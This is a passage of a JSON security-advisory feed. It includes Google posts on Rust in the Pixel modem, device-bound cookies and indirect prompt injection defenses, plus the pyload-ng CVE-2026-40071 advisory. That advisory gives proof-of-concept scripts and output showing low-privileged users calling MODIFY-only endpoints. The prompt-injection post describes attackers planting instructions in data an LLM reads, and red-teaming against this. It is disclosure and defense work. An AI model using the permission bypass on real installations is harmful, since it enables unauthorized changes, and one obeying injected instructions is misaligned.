areas.\n\n Here we share our experience of working on it, and hope it can inspire the use of more memory safe languages in low-level environments.\n\n Why Modem Memory Safety Can’t Wait\n\n In recent years, we have seen increasing interest in the cellular modem from attackers and security researchers. For example, Google's Project Zero gained remote code execution on Pixel modems over the Internet. Pixel modem has tens of Megabytes of executable code. Given the complexity and remote attack surface of the modem, other critical memory safety vulnerabilities may remain in the predominantly memory-unsafe firmware code.\n\n Why DNS?\n\n The DNS protocol is most commonly known in the context of browsers finding websites. With the evolution of cellular technology, modern cellular communications have migrated to digital data networks; consequently, even basic operations such as call forwarding rely on DNS services.\n\n DNS is a complex protocol and requires parsing of untrusted data, which can lead to vulnerabilities, particularly when implemented in a memory-unsafe language (example: CVE-2024-27227 ). Implementing the DNS parser in Rust offers value by decreasing the attack surfaces associated with memory unsafety.\n\n Picking a DNS library\n\n DNS already has a level of support in the open-source Rust community. We evaluated multiple open source crates that implement DNS. Based on criteria shared in earlier posts , we identified hickory-proto as the best candidate. It has excellent maintenance, over 75% test coverage, and widespread adoption in the Rust community. Its pervasiveness shows its potential as the de-facto DNS choice and long term support. Although hickory-proto initially lacked no_std support, which is needed for Bare-metal environments (see our previous post on this topic), we were able to add support to it and its dependencies.\n\n Adding no_std support\n\n The work to enable no_std for hickory-proto is mostly mechanical. We shared the process in a previous post . We undertook modifications to hickory_proto and its dependencies to enable no_std support. The upstream no_std work also results in a no_std URL parser, beneficial to other projects.\n\n https://github.com/hickory-dns/hickory-dns/pull/2104 \n\n https://github.com/servo/rust-url/pull/831 \n\n https://github.com/krisprice/ipnet/pull/58 \n\n The above PRs are great examples of how to extend no_std support to existing std-only crates.\n\n Code size study\n\n Code size is the one of the factors that we evaluated when picking the DNS library to use.\n\n Code size\n\nby category \n Rust implemented Shim that calls Hickory-proto on receiving a DNS response \n 4KB \n\n core, alloc, compiler_builtins\n\n(reusable, one-time cost) \n 17KB \n\n Hickory-proto library and dependencies \n 350KB \n\n Sum \n \n 371KB \n\n We built prototypes and measured size with size-optimized settings . Expectedly, hickory_proto is not designed with embedded use in mind, and is not optimized for size. As the Pixel modem is not tightly memory constrained, we prioritized community support and code quality, leaving code size optimizations as future work.\n\n However, the additional code size may be a blocker for other embedded systems. This could be addressed in the future by adding additional feature flags to conditionally compile only required functionality. Implementing this modularity would be a valuable future work.\n\n Hook-up Rust to modem firmware\n\n Before building the Rust DNS library, we defined several Rust unit tests to cover basic arithmetic, dynamic allocations, and FFI to verify the integration of Rust with the existing modem firmware code base.\n\n Compile Rust code to staticlib\n\n While using cargo is the default choice for compilation in the Rust ecosystem, it presents challenges when integrating it into existing build systems. We evaluated two options:\n\n Using cargo to build a staticlib before the modem builds. Then add the produced staticlib into the linking step.\n\n Directly work with rustc and integrate the Rust compilation steps into the existing modem build system.\n\n Option #1 does not scale if we are going to add more Rust components in the future, as linking multiple staticlibs may cause duplicated symbol errors . We chose option #2 as it scales more easily and allows tighter integration into our existing build system. Our existing C/C++ codebase uses Pigweed to drive the primary build system. Pigweed supports Rust targets ( example ) with direct calls to rustc through rust tools defined in GN .\n\n We compiled all the Rust crates, including hickory-proto, its dependencies, and core, compiler_builtin, alloc, to rlib . Then, we created a staticlib target with a single lib.rs file which references all the rlib crates using extern crate keywords.\n\n Build core, alloc, and compiler_builtins\n\n Android’s Rust Toolchain distributes source code of core , alloc , and compiler_builtins , and we leveraged this for the modem. They can be included to the build graph by adding a GN target with crate_root pointing to the root lib.rs of each crate.\n\n Pixel modem firmware already has a well-tested and specialized global memory allocation system to support some dynamic memory allocations. alloc support was added by implementing the GlobalAlloc with FFI calls to the allocators C APIs:\n\n use core::alloc::{GlobalAlloc, Layout};\n\nextern \"C\" {\n fn mem_malloc(size: usize, alignment: usize) -> *mut u8;\n fn mem_free(ptr: *mut u8, alignment: usize);\n}\n\nstruct MemAllocator;\n\nunsafe impl GlobalAlloc for MemAllocator {\n unsafe fn alloc(&self, layout: Layout) -> *mut u8 {\n mem_malloc(layout.size(), layout.align())\n }\n\n unsafe fn dealloc(&self, ptr: *mut u8, layout: Layout) {\n mem_free(ptr, layout.align());\n }\n}\n\n#[global_allocator]\nstatic ALLOCATOR: MemAllocator = MemAllocator;\n\n Pixel modem firmware already implements a backend for the Pigweed crash facade as the global crash handler. Exposing it into Rust panic_handler through FFI unifies the crash handling for both Rust and C/C++ code.\n\n #![no_std]\nuse core::panic::PanicInfo;\n\nextern \"C\" {\n pub fn PwCrashBackend(sigature: *const i8, file_name: *const i8, line: u32);\n}\n\n#[panic_handler]\nfn panic(panic_info: &PanicInfo) -> ! {\n let mut filename = \"\";\n let mut line_number: u32 = 0;\n\n if let Some(location) = panic_info.location() {\n filename = location.file();\n line_number = location.line();\n }\n\n let mut cstr_buffer = [0u8; 128];\n // Never writes to the last byte to make sure `cstr_buffer` is always zero\n // terminated.\n let (_, writer) = cstr_buffer.split_last_mut().unwrap();\n for (place, ch) in writer.iter_mut().zip(filename.bytes()) {\n *place = ch;\n }\n\n unsafe {\n PwCrashBackend(\n \"Rust panic\\0\".as_ptr() as *const i8,\n cstr_buffer.as_ptr() as *const i8,\n line_number,\n );\n }\n\n loop {}\n}\n\n Link Rust staticlib\n\n The Pixel modem firmware linking has a step that calls the linker to link all the objects generated from C/C++ code. By using llvm-ar -x to extract object files from the Rust combined staticlib and supplying them to the linker, the Rust code appears in the final modem image.\n\n There was a performance issue we experienced due to weak symbols during linking. The inclusion","action":"Read the exact official research article before applying its defensive techniques or drawing conclusions.","publishedAt":"2026-04-10T15:12:00.000Z","updatedAt":"2026-04-10T15:12:43.643Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Google Security Research: Bringing Rust to the Pixel Baseband","url":"https://security.googleblog.com/2026/04/bringing-rust-to-pixel-baseband.html","type":"primary","publishedAt":"2026-04-10T15:12:00.000Z","checkedAt":"2026-10-26T18:35:55.322Z","supports":"Exact official article/advisory identified by the feed; title, source dates, and any supplied article excerpt."},{"name":"Google Security Research syndication feed","url":"https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:35:55.322Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:35:55.322Z","reviewedAt":null},"reviewed":false},{"id":"google-security-protecting-cookies-with-device-bound-c455bb0299aa","cveId":null,"aliases":[],"kind":"advisory","title":"Protecting Cookies with Device Bound Session Credentials","summary":"Posted by Ben Ackerman, Chrome team, Daniel Rubery, Chrome team and Guillaume Ehinger, Google Account Security team \n\nFollowing our April 2024 announcement , Device Bound Session Credentials (DBSC) is now entering public availability for Windows users on Chrome 146, and expanding to macOS in an upcoming Chrome release. This project represents a significant step forward in our ongoing efforts to combat session theft, which remains a prevalent threat in the modern security landscape.\n\nSession theft typically occurs when a user inadvertently downloads malware onto their device. Once active, the malware can silently extract existing session cookies from the browser or wait for the user to log in to new accounts, before exfiltrating these tokens to an attacker-controlled server. Infostealer malware families, such as LummaC2, have become increasingly sophisticated at harvesting these credentials. Because cookies often have extended lifetimes, attackers can use them to gain unauthorized access to a user’s accounts without ever needing their passwords; this access is then often bundled, traded, or sold among threat actors.\n\nCrucially, once sophisticated malware has gained access to a machine, it can read the local files and memory where browsers store authentication cookies. As a result, there is no reliable way to prevent cookie exfiltration using software alone on any operating system. Historically, mitigating session theft relied on detecting the stolen credentials after the fact using a complex set of abuse heuristics – a reactive approach that persistent attackers could often circumvent. DBSC fundamentally changes the web's capability to defend against this threat by shifting the paradigm from reactive detection to proactive prevention, ensuring that successfully exfiltrated cookies cannot be used to access users’ accounts.\n\n How DBSC Works\n\nDBSC protects against session theft by cryptographically binding authentication sessions to a specific device. It does this using","detail":"Posted by Ben Ackerman, Chrome team, Daniel Rubery, Chrome team and Guillaume Ehinger, Google Account Security team \n\nFollowing our April 2024 announcement , Device Bound Session Credentials (DBSC) is now entering public availability for Windows users on Chrome 146, and expanding to macOS in an upcoming Chrome release. This project represents a significant step forward in our ongoing efforts to combat session theft, which remains a prevalent threat in the modern security landscape.\n\nSession theft typically occurs when a user inadvertently downloads malware onto their device. Once active, the malware can silently extract existing session cookies from the browser or wait for the user to log in to new accounts, before exfiltrating these tokens to an attacker-controlled server. Infostealer malware families, such as LummaC2, have become increasingly sophisticated at harvesting these credentials. Because cookies often have extended lifetimes, attackers can use them to gain unauthorized access to a user’s accounts without ever needing their passwords; this access is then often bundled, traded, or sold among threat actors.\n\nCrucially, once sophisticated malware has gained access to a machine, it can read the local files and memory where browsers store authentication cookies. As a result, there is no reliable way to prevent cookie exfiltration using software alone on any operating system. Historically, mitigating session theft relied on detecting the stolen credentials after the fact using a complex set of abuse heuristics – a reactive approach that persistent attackers could often circumvent. DBSC fundamentally changes the web's capability to defend against this threat by shifting the paradigm from reactive detection to proactive prevention, ensuring that successfully exfiltrated cookies cannot be used to access users’ accounts.\n\n How DBSC Works\n\nDBSC protects against session theft by cryptographically binding authentication sessions to a specific device. It does this using hardware-backed security modules, such as the Trusted Platform Module (TPM) on Windows and the Secure Enclave on macOS, to generate a unique public/private key pair that cannot be exported from the machine. The issuance of new short-lived session cookies is contingent upon Chrome proving possession of the corresponding private key to the server. Because attackers cannot steal this key, any exfiltrated cookies quickly expire and become useless to those attackers. This design allows large and small websites to upgrade to secure, hardware-bound sessions by adding dedicated registration and refresh endpoints to their backends, while maintaining complete compatibility with their existing front-end. The browser handles the complex cryptography and cookie rotation in the background, allowing the web app to continue using standard cookies for access just as it always has. \n\nGoogle rolled out an early version of this protocol over the last year. For sessions protected by DBSC, we have observed a significant reduction in session theft since its launch.\n\n An overview of the DBSC protocol showing the interaction between the browser and server. \n\n Private by design\n\nA core tenet of the DBSC architecture is the preservation of user privacy. Each session is backed by a distinct key, preventing websites from using these credentials to correlate a user's activity across different sessions or sites on the same device. Furthermore, the protocol is designed to be lean: it does not leak device identifiers or attestation data to the server beyond the per-session public key required to certify proof of possession. This minimal information exchange ensures DBSC helps secure sessions without enabling cross-site tracking or acting as a device fingerprinting mechanism.\n\n Engagement with the ecosystem\n\nDBSC was designed from the beginning to be an open web standard through the W3C process and adoption by the Web Application Security Working Group. Through this process we partnered with Microsoft to design the standard to ensure it works for the web and got input from many in the industry that are responsible for web security.\n\nAdditionally, over the past year, we have also conducted two Origin Trials to ensure DBSC effectively serves the requirements of the broader web community. Many web platforms, including Okta, actively participated in these trials and their own testing and provided essential feedback to ensure the protocol effectively addresses their diverse needs.\n\nIf you are a web developer and are looking for a way to secure your users against session theft, refer to our developer guide for implementation details. Additionally, all the details about DBSC can be found on the spec and the corresponding github . Feel free to use the issues page to report bugs or provide feature requests.\n\n Future improvements\n\nAs we continue to evolve the DBSC standard, future iterations will focus on increasing support across diverse ecosystems and introducing advanced capabilities tailored for complex enterprise environments. Key areas of ongoing development include:\n\n Securing Federated Identity: In modern enterprise environments, Single Sign-On (SSO) is ubiquitous. We are expanding the DBSC protocol to support cross-origin bindings, ensuring that a relying party (RP) session remains continuously bound to the same original device key used by the Identity Provider (IdP). This guarantees that the high-assurance security of the initial device binding is maintained throughout the entire federated login process, creating an unbroken chain of trust.\n\n Advanced Registration Capabilities: While DBSC provides robust protection for established cookies, some environments require an even stronger foundation when the session is first created. We are developing mechanisms to bind DBSC sessions to pre-existing, trusted key material rather than generating a new key at sign-in. This advanced capability enables websites to integrate complementary technologies, such as mTLS certificates or hardware security keys, creating a highly secure registration environment.\n\n Broader Device Support: We are also actively exploring the potential addition of software-based keys to extend protections to devices without dedicated secure hardware.\n\nThis is an excerpt of official research, not a reproduced result or evidence of exposure to a scored vulnerability.","action":"Read the exact official research article before applying its defensive techniques or drawing conclusions.","publishedAt":"2026-04-09T17:07:00.000Z","updatedAt":"2026-04-09T17:11:04.523Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Google Security Research: Protecting Cookies with Device Bound Session Credentials","url":"https://security.googleblog.com/2026/04/protecting-cookies-with-device-bound.html","type":"primary","publishedAt":"2026-04-09T17:07:00.000Z","checkedAt":"2026-10-26T18:35:55.322Z","supports":"Exact official article/advisory identified by the feed; title, source dates, and any supplied article excerpt."},{"name":"Google Security Research syndication feed","url":"https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:35:55.322Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:35:55.322Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-40071","cveId":"CVE-2026-40071","aliases":["GHSA-rfgh-63mg-8pwm"],"kind":"vulnerability","title":"pyload-ng has a WebUI JSON permission mismatch that lets ADD/DELETE users invoke MODIFY-only actions","summary":"Confirmed mismatches:\n- `ADD` user can reorder packages/files (`order_package`, `order_file`) via `/json/package_order` and `/json/link_order`\n- `DELETE` user can abort downloads (`stop_downloads`) via `/json/abort_link`\n\nBut WebUI JSON routes use weaker checks:\n- `/json/package_order` uses `@login_required(\"ADD\")` then calls `api.order_package(...)` (`src/pyload/webui/app/blueprints/json_blueprint.py:109-117`)\n- `/json/link_order` uses `@login_required(\"ADD\")` then calls `api.order_file(...)` (`src/pyload/webui/app/blueprints/json_blueprint.py:137-145`)\n- `/json/abort_link` uses `@login_required(\"DELETE\")` then calls `api.stop_downloads(...)` (`src/pyload/webui/app/blueprints/json_blueprint.py:123-131`)","detail":"### Summary\nSeveral WebUI JSON endpoints enforce weaker permissions than the core API methods they invoke. This allows authenticated low-privileged users to execute `MODIFY` operations that should be denied by pyLoad's own permission model.\n\nConfirmed mismatches:\n- `ADD` user can reorder packages/files (`order_package`, `order_file`) via `/json/package_order` and `/json/link_order`\n- `DELETE` user can abort downloads (`stop_downloads`) via `/json/abort_link`\n\n### Details\npyLoad defines granular permissions in core API:\n- `order_package` requires `Perms.MODIFY` (`src/pyload/core/api/__init__.py:1125`)\n- `order_file` requires `Perms.MODIFY` (`src/pyload/core/api/__init__.py:1137`)\n- `stop_downloads` requires `Perms.MODIFY` (`src/pyload/core/api/__init__.py:1046`)\n\nBut WebUI JSON routes use weaker checks:\n- `/json/package_order` uses `@login_required(\"ADD\")` then calls `api.order_package(...)` (`src/pyload/webui/app/blueprints/json_blueprint.py:109-117`)\n- `/json/link_order` uses `@login_required(\"ADD\")` then calls `api.order_file(...)` (`src/pyload/webui/app/blueprints/json_blueprint.py:137-145`)\n- `/json/abort_link` uses `@login_required(\"DELETE\")` then calls `api.stop_downloads(...)` (`src/pyload/webui/app/blueprints/json_blueprint.py:123-131`)\n\nWhy this is likely unintended (not just convenience):\n- The same JSON blueprint correctly protects other edit actions with `MODIFY`:\n - `/json/move_package` -> `@login_required(\"MODIFY\")` (`json_blueprint.py:188-196`)\n - `/json/edit_package` -> `@login_required(\"MODIFY\")` (`json_blueprint.py:202-217`)\n- The project UI exposes granular per-user permission assignment (`settings.html:184-190`), implying these boundaries are intended security controls.\n\n### PoC\nEnvironment:\n- Repository version: `0.5.0b3` (`VERSION` file)\n- Commit tested: `ddc53b3d7`\n\nPoC A (ADD-only user invokes MODIFY-only reorder):\n```python\nimport os\nimport sys\nfrom types import SimpleNamespace\n\nsys.path.insert(0, os.path.abspath('src'))\n\nfrom flask import Flask\nfrom pyload.core.api import Api, Perms, Role\nfrom pyload.webui.app.blueprints import json_blueprint\n\nclass FakeApi:\n def __init__(self):\n self.calls = []\n\n def user_exists(self, username):\n return username == 'attacker'\n\n def order_package(self, pack_id, pos):\n self.calls.append(('order_package', int(pack_id), int(pos)))\n\n def order_file(self, file_id, pos):\n self.calls.append(('order_file', int(file_id), int(pos)))\n\napi = Api(SimpleNamespace(_=lambda x: x))\nctx = {'role': Role.USER, 'permission': Perms.ADD}\nprint('API auth (ADD-only) order_package:', api.is_authorized('order_package', ctx))\nprint('API auth (ADD-only) order_file:', api.is_authorized('order_file', ctx))\n\napp = Flask(__name__)\napp.secret_key = 'k'\napp.config['TESTING'] = True\napp.config['WTF_CSRF_ENABLED'] = False\nf = FakeApi()\napp.config['PYLOAD_API'] = f\napp.register_blueprint(json_blueprint.bp)\n\nwith app.test_client() as c:\n with c.session_transaction() as s:\n s['authenticated'] = True\n s['name'] = 'attacker'\n s['role'] = int(Role.USER)\n s['perms'] = int(Perms.ADD)\n\n r1 = c.post('/json/package_order', json={'pack_id': 5, 'pos': 0})\n r2 = c.post('/json/link_order', json={'file_id': 77, 'pos': 1})\n\nprint('HTTP /json/package_order:', r1.status_code, r1.get_data(as_text=True).strip())\nprint('HTTP /json/link_order:', r2.status_code, r2.get_data(as_text=True).strip())\nprint('calls:', f.calls)\n```\n\nObserved output:\n```text\nAPI auth (ADD-only) order_package: False\nAPI auth (ADD-only) order_file: False\nHTTP /json/package_order: 200 {\"response\":\"success\"}\nHTTP /json/link_order: 200 {\"response\":\"success\"}\ncalls: [('order_package', 5, 0), ('order_file', 77, 1)]\n```\n\nPoC B (DELETE-only user invokes MODIFY-only stop_downloads):\n```python\nimport os\nimport sys\nfrom types import SimpleNamespace\n\nsys.path.insert(0, os.path.abspath('src'))\n\nfrom flask import Flask\nfrom pyload.core.api import Api, Perms, Role\nfrom pyload.webui.app.blueprints import json_blueprint\n\nclass FakeApi:\n def __init__(self):\n self.calls = []\n\n def user_exists(self, username):\n return username == 'u'\n\n def stop_downloads(self, ids):\n self.calls.append(('stop_downloads', ids))\n\napi = Api(SimpleNamespace(_=lambda x: x))\nctx = {'role': Role.USER, 'permission': Perms.DELETE}\nprint('API auth (DELETE-only) stop_downloads:', api.is_authorized('stop_downloads', ctx))\n\napp = Flask(__name__)\napp.secret_key = 'k'\napp.config['TESTING'] = True\napp.config['WTF_CSRF_ENABLED'] = False\nf = FakeApi()\napp.config['PYLOAD_API'] = f\napp.register_blueprint(json_blueprint.bp)\n\nwith app.test_client() as c:\n with c.session_transaction() as s:\n s['authenticated'] = True\n s['name'] = 'u'\n s['role'] = int(Role.USER)\n s['perms'] = int(Perms.DELETE)\n\n r = c.post('/json/abort_link', json={'link_id': 999})\n\nprint('HTTP /json/abort_link:', r.status_code, r.get_data(as_text=True).strip())\nprint('calls:', f.calls)\n```\n\nObserved output:\n```text\nAPI auth (DELETE-only) stop_downloads: False\nHTTP /json/abort_link: 200 {\"response\":\"success\"}\ncalls: [('stop_downloads', [999])]\n```\n\n### Impact\nType:\n- Improper authorization / permission-bypass between WebUI and core API permission model.\n\nScope:\n- Horizontal privilege escalation among authenticated non-admin users.\n- Not admin takeover, but unauthorized execution of operations explicitly categorized as `MODIFY`.\n\nSecurity impact:\n- Integrity impact: unauthorized queue/file reordering by users lacking `MODIFY`.\n- Availability impact: unauthorized abort of active downloads by users lacking `MODIFY`.\n\nAffected package ranges reported by GitHub:\npyload-ng: < 0.5.0b3.dev97","action":"GitHub lists first patched versions: pyload-ng: 0.5.0b3.dev97. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-04-08T00:18:20.000Z","updatedAt":"2026-10-26T15:57:11.000Z","regions":["Global"],"vendor":null,"product":"pyload-ng","stacks":["Python packages (PyPI)","pyload-ng","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L","sourceUrl":"https://github.com/advisories/GHSA-rfgh-63mg-8pwm","asOf":"2026-10-26T15:57:11.000Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-rfgh-63mg-8pwm","url":"https://github.com/advisories/GHSA-rfgh-63mg-8pwm","type":"primary","publishedAt":"2026-04-08T00:18:20.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-rfgh-63mg-8pwm, its actual identifiers, source dates, and structured metrics."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"google-security-google-workspaces-continuous-approach-de5844ac847e","cveId":null,"aliases":[],"kind":"advisory","title":"Google Workspace’s continuous approach to mitigating indirect prompt injections","summary":"Posted by Adam Gavish, Google GenAI Security Team \n\n Indirect prompt injection (IPI) is an evolving threat vector targeting users of complex AI applications with multiple data sources, such as Workspace with Gemini. This technique enables the attacker to influence the behavior of an LLM by injecting malicious instructions into the data or tools used by the LLM as it completes the user’s query. This may even be possible without any input directly from the user. \n\n IPI is not the kind of technical problem you “solve” and move on. Sophisticated LLMs with increasing use of agentic automation combined with a wide range of content create an ultra-dynamic and evolving playground for adversarial attacks. That’s why Google takes a sophisticated and comprehensive approach to these attacks. We’re continuously improving LLM resistance to IPI attacks and launching AI application capabilities with ever-improving defenses. Staying ahead of the latest indirect prompt injection attacks is critical to our mission of securing Workspace with Gemini. \n\n In our previous blog “ Mitigating prompt injection attacks with a layered defense strategy ”, we reviewed the layered architecture of our IPI defenses. In this blog, we’ll share more detail on the continuous approach we take to improve these defenses and to solve for new attacks. \n\n New attack discovery \n\n By proactively discovering and cataloging new attack vectors through internal and external programs, we can identify vulnerabilities and deploy robust defenses ahead of adversarial activity. \n\n Human Red-Teaming \n\n Human Red-Teaming uses adversarial simulations to uncover security and safety vulnerabilities. Specialized teams execute attacks based on realistic user profiles to exploit weaknesses, coordinating with product teams to resolve identified issues. \n\n Automated Red-Teaming \n\n Automated Red-Teaming is done via dynamic, machine-learning-driven frameworks to stress-test environments. By algorithmically generating and iterating on","detail":"Posted by Adam Gavish, Google GenAI Security Team \n\n Indirect prompt injection (IPI) is an evolving threat vector targeting users of complex AI applications with multiple data sources, such as Workspace with Gemini. This technique enables the attacker to influence the behavior of an LLM by injecting malicious instructions into the data or tools used by the LLM as it completes the user’s query. This may even be possible without any input directly from the user. \n\n IPI is not the kind of technical problem you “solve” and move on. Sophisticated LLMs with increasing use of agentic automation combined with a wide range of content create an ultra-dynamic and evolving playground for adversarial attacks. That’s why Google takes a sophisticated and comprehensive approach to these attacks. We’re continuously improving LLM resistance to IPI attacks and launching AI application capabilities with ever-improving defenses. Staying ahead of the latest indirect prompt injection attacks is critical to our mission of securing Workspace with Gemini. \n\n In our previous blog “ Mitigating prompt injection attacks with a layered defense strategy ”, we reviewed the layered architecture of our IPI defenses. In this blog, we’ll share more detail on the continuous approach we take to improve these defenses and to solve for new attacks. \n\n New attack discovery \n\n By proactively discovering and cataloging new attack vectors through internal and external programs, we can identify vulnerabilities and deploy robust defenses ahead of adversarial activity. \n\n Human Red-Teaming \n\n Human Red-Teaming uses adversarial simulations to uncover security and safety vulnerabilities. Specialized teams execute attacks based on realistic user profiles to exploit weaknesses, coordinating with product teams to resolve identified issues. \n\n Automated Red-Teaming \n\n Automated Red-Teaming is done via dynamic, machine-learning-driven frameworks to stress-test environments. By algorithmically generating and iterating on attack payloads, we can mimic the behavior of sophisticated threats at scale. This allows us to map complex attack paths and validate the effectiveness of our security controls across a much wider range of edge cases than manual testing could achieve on its own. \n\n Google AI Vulnerability Rewards Program (VRP) \n\n The Google AI Vulnerability Rewards Program (VRP) is a critical tool for enabling collaboration between Google and external security researchers who discover new attacks leveraging IPI. Through this VRP, we recognize and reward contributors for their research. We also host regular, live hacking events where we provide invited researchers access to pre-release features, proactively uncovering novel vulnerabilities. These partnerships enable Google to quickly validate, reproduce, and resolve externally-discovered issues. \n\n Publicly disclosed AI attacks \n\n Google utilizes open-source intelligence feeds to stay on top of the latest publicly disclosed IPI attacks, across social media, press releases, blogs, and more. From there, new AI vulnerabilities are sourced, reproduced, and catalogued internally to ensure our products are not impacted. \n\n Vulnerability catalog \n\n All newly discovered vulnerabilities go through a comprehensive analysis process performed by the Google Trust, Security, & Safety teams. Each new vulnerability is reproduced, checked for duplications, mapped into attack technique / impact category, and assigned to relevant owners. The combination of new attack discovery sources and vulnerability catalog process helps Google stay on top of the latest attacks in an actionable manner. \n\n Synthetic data generation \n\n After we discover, curate, and catalog new attacks, we use Simula to generate synthetic data expanding these new attacks. This process is essential because it allows the team to develop attack variants for completeness and coverage, and to prepare new training and validation data sets. This accelerated workflow has boosted synthetic data generation by 75%, supporting large-scale defense model evaluation and retraining, as well as updating the data set used for calculating and reporting on defense effectiveness. \n\n Ongoing defense refinement \n\n Continually updating and enhancing our defense mechanisms allows us to address a broader range of attack techniques, effectively reducing the overall attack surface. Updating each defense type requires different tasks, from config updates, to prompt engineering and ML model retraining. \n\n Deterministic Defenses \n\n Deterministic defenses , including user confirmation, URL sanitization, and tool chaining policies, are designed for rapid response against new or emerging prompt injection attacks by relying on simple configuration updates. These defenses are governed by a centralized Policy Engine, with configurations for policies like baseline tool calls, URL sanitization, and tool chaining. For immediate threats, this configuration-based system facilitates a streamlined process for \"point fixes,\" such as regex takedowns, providing an agile defense layer that acts faster than traditional ML/LLM model refresh cycles. \n\n ML-Based Defenses \n\n After generating synthetic data that expands new attacks into variants, the next step is to retrain our ML-based defenses to mitigate these new attacks. We partition the synthetic data described above into separate training and validation sets to ensure performance is evaluated against held-out examples. This approach ensures repeatability, data consistency for fixed training/testing, and establishes a scalable architecture to support future extensions towards fully automated model refresh. \n\n LLM-Based Defenses \n\n Using the new synthetic data examples, our LLM-based defenses go through prompt engineering with refined system instructions. The goal is to iteratively optimize these prompts against agreed-upon defense effectiveness metrics, ensuring the models remain resilient against evolving threat vectors. \n\n Gemini Model Hardening \n\n Beyond system-level guardrails and application-level defenses, we prioritize ‘model hardening’ , a process that improves the Gemini model's internal capability to identify and ignore harmful instructions within data. By utilizing synthetic datasets and fresh attack patterns, we can model various threat iterations. This enables us to strengthen the Gemini model's ability to disregard harmful embedded commands while following the user's intended request. Through this process of model hardening, Gemini has become significantly more adept at detecting and disregarding injected instructions. This has led to a reduction in the success rate of attacks without compromising the model's efficiency during routine operations. \n\n Defense effectiveness \n\n To measure the real-world impact of defense improvements, we simulate attacks against many Workspace features. This process leverages the newly generated synthetic attack data described on this blog, to create a robust, end-to-end evaluation. The simulation is run against multiple Workspace apps, such as Gmail and Docs, using a standardized set of assets to ensure reliable results. To determine the exact impact of a defense improvement (e.g., an updated ML model or a new LLM prompt optimization), the end-to-end evaluation is run with and without the defense enabled. This comparative testing provides the essential \"before and after\" metrics needed to validate defense efficacy and drive continuous improvement. \n\n Moving forward \n\n Our commitment to AI security is rooted in the principle that every day you’re safer with Google. While the threat landscape of indirect prompt injection evolves, we are building Workspace with Gemini to be a secure and trustworthy platform for AI-first work. IPI is a complex security challenge, which requires a defense-in-depth strategy and continuous mitigation approach. To get there, we’re combining world-class security research, automated pipelines, and advanced ML/LLM-based models. This ro","action":"Read the exact official research article before applying its defensive techniques or drawing conclusions.","publishedAt":"2026-04-02T16:00:00.000Z","updatedAt":"2026-04-02T19:29:07.493Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Google Security Research: Google Workspace’s continuous approach to mitigating indirect prompt injections","url":"https://security.googleblog.com/2026/04/google-workspaces-continuous-approach.html","type":"primary","publishedAt":"2026-04-02T16:00:00.000Z","checkedAt":"2026-10-26T18:35:55.322Z","supports":"Exact official article/advisory identified by the feed; title, source dates, and any supplied article excerpt."},{"name":"Google Security Research syndication feed","url":"https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:35:55.322Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:35:55.322Z","reviewedAt":null},"reviewed":false},{"id":"google-security-vrp-2025-year-in-review-ffbe3c59127f","cveId":null,"aliases":[],"kind":"advisory","title":"VRP 2025 Year in Review","summary":"Posted by Dirk G ö hmann, Tony Mendez, and the Vulnerability Rewards Program Team \n\n 2025 marked a special year in the history of vulnerability rewards and bug bounty programs at Google: our 15th anniversary 🎉🎉🎉! Originally started in 2010 , our vulnerability reward program (VRP) has seen constant additions and expansions over the past decade and a half, clearly indicating the value the programs under this umbrella contribute to the safety and security of Google and its users, but also highlighting their acceptance by the external research community, without which such programs cannot function. \n\n Coming back to 2025 specifically, our VRP once again confirmed the ongoing value of engaging with the external security research community to make Google and its products safer. This was more evident than ever as we awarded over $17 million (an all-time high and more than 40% increase compared to 2024!) to over 700 researchers based in countries around the globe – across all of our programs . \n\n Vulnerability Reward Program 2025 in Numbers \n\n Want to learn more about who’s reporting to the VRP? Check out our Leaderboard on the Google Bug Hunters site . \n\n VRP Highlights in 2025 \n\n In 2025 we made a series of changes and improvements to our VRP and related initiatives, and continued to invest in the security research community through a series of focused events: \n\n The new, dedicated AI VRP was launched , underscoring the importance of this space to Google and its relevance for external researchers. Previously organized as a part of the Abuse VRP, moving into a dedicated VRP has gone hand in hand with improvements to the rules, offering researchers more clarity on scope and 